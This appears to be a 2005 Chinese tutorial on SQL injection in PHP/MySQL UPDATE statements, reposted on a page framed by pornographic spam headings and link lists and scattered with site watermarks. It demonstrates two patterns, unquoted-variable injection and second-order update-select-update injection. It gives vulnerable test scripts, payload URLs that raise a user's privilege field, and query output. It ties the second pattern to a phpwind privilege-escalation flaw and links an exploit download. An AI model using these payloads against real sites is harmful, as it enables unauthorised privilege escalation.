亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

UPDATE注射(mysql+php)的兩個模式

瀏覽:2日期:2024-01-09 08:56:31

本文作者:SuperHei文章性質:原創發布日期:2005-08-14

一、測試環境網管下載dl.bitscn.com

OS: Windowsxp sp2php: php 4.3.10mysql 4.1.9apache 1.3.33

二、測試數據庫結構

-- 數據庫: `test`--

-- --------------------------------------------------------

---- 表的結構 `userinfo`--網管網www_bitscn_com

CREATE TABLE `userinfo` (`groudid` varchar(12) NOT NULL default '1',`user` varchar(12) NOT NULL default 'heige',`pass` varchar(122) NOT NULL default '123456') TYPE=MyISAM DEFAULT CHARSET=utf8;網管u家u.bitsCN.com

---- 導出表中的數據 `userinfo`--

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')

三、測試模式

1、變量沒有帶''或''中國網管聯盟bitsCN.com

<?php//test1.php Mod1$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');中國網管論壇bbs.bitsCN.com

$sql = 'update userinfo set pass=$p where user='heige'';//<--$P沒有使用單引號

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);中國網管論壇bbs.bitsCN.com

echo '<p>SQL Query:$sql<p>';?>

腳本里只是修改 user='heige' 的 pass,如果 groudid 表示用戶的權限等級,我們的目的就是通過構造 $p 來達到修改 groupid 的目的,那么我們提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢:

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.01 sec)

用戶heige的groudid又2改為1了 :)

所以我們可以得到沒有''或''update的注射是可以成功的,這個就是我們的模式1。

2、變量帶''或''

<?php//test2.php$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號中國網管論壇bbs.bitsCN.com

$result = mysql_db_query($dbname, $sql);$userinfo = mysql_fetch_array($result);網管論壇bbs_bitsCN_com

echo '<p>SQL Query:$sql<p>';?>

為了關閉'我們構造$p應該為123456',groudid='2提交:中國網管論壇bbs.bitsCN.com

http://127.0.0.1/test2.php?p=123456',groudid='1

在gpc=on的情況下'變成了',提交的語句變成:

SQL Query:update userinfo set pass='123456',groudid='1' where user='heige'

mysql查詢:

mysql> select * from userinfo;+---------+-------+--------------------+| groudid | user | pass |+---------+-------+--------------------+| 2 | heige | 123456',groudid='1 |+---------+-------+--------------------+1 row in set (0.00 sec)網管bitscn_com

groudid并沒有被修改。那么在變量被''或''時 就完全沒有被注射呢?不是 下面我們看模式2:

<?php//test3.php Mod2$servername = 'localhost';$dbusername = 'root';$dbpassword = '';$dbname = 'test';

mysql_connect($servername,$dbusername,$dbpassword) or die ('數據庫連接失敗');

$sql = 'update userinfo set pass='$p' where user='heige'';//<--$P使用單引號網管u家u.bitscn@com

$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //$p的數據寫入數據庫

$sql= 'select pass from userinfo where user='heige'';$result = mysql_db_query($dbname, $sql);$userinfo=mysql_fetch_array($result);

echo $userinfo[0]; //把pass查詢輸出給$userinfo[0]

$sql ='update userinfo set pass='$userinfo[0]' where user='heige'';$result = mysql_db_query($dbname, $sql);mysql_fetch_array($result); //把$userinfo[0] 再次update中國網管聯盟bitsCN.com

?>

我們測試下,提交:網管bitscn_com

http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢下 :網管論壇bbs_bitsCN_com

mysql> select * from userinfo;+---------+-------+--------+| groudid | user | pass |+---------+-------+--------+| 1 | heige | 123456 |+---------+-------+--------+1 row in set (0.00 sec)

HaHa~~ 成功注射 修改groudid為1。 這個就是我們的模式2了,簡單的描敘如下:

update --> select --> update

四、實際模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 權限提升漏洞

漏洞分析

update (profile.php 注射變量為$proicon update語句里為,icon='$userdb[icon]')↓select (jop.php)↓updtate (jop.php)網管論壇bbs_bitsCN_com

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五、鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!

標簽: PHP
主站蜘蛛池模板: 免费人成年短视频在线观看免费网站 | 在线国产播放 | 国产剧情麻豆mv在线观看 | 午夜一区二区在线观看 | 亚洲高清国产拍精品影院 | 免费中国女人69xxxxx视频 | 国产免费一级高清淫曰本片 | 国产黄色片一级 | 国产人成激情视频在线观看 | 国产一区欧美二区 | 国产香蕉视频在线 | 91香蕉国产视频 | 美国特黄一级片 | 国产精品午夜在线播放a | 免费视频一区二区性色 | 91好色视频| 在线欧美精品国产综合五月 | 亚洲成人精品 | 亚洲欧美在线视频免费 | 1769国内精品免费视频视频 | 亚洲一区二区三区在线 | 青草色视频 | 亚洲激情婷婷 | 成人日韩在线观看 | 日韩国产有码在线观看视频 | 成人午夜久久精品 | 特黄特黄特色大片免费观看 | 激性欧美激情在线aa | 日韩精品视频在线免费观看 | 国产精品嫩草影院在线播放 | 一级做a爱片特黄在线观看yy | 伦理亚洲 | 毛片网站在线播放 | 色婷婷婷丁香亚洲综合不卡 | 婷婷开心六月久久综合丁香 | 中文日韩字幕一区在线观看 | 亚洲线精品一区二区三区 | 伊人中文字幕在线 | 久久五月婷 | 成年女人天堂香蕉网视频 | 日本欧美国产精品第一页久久 |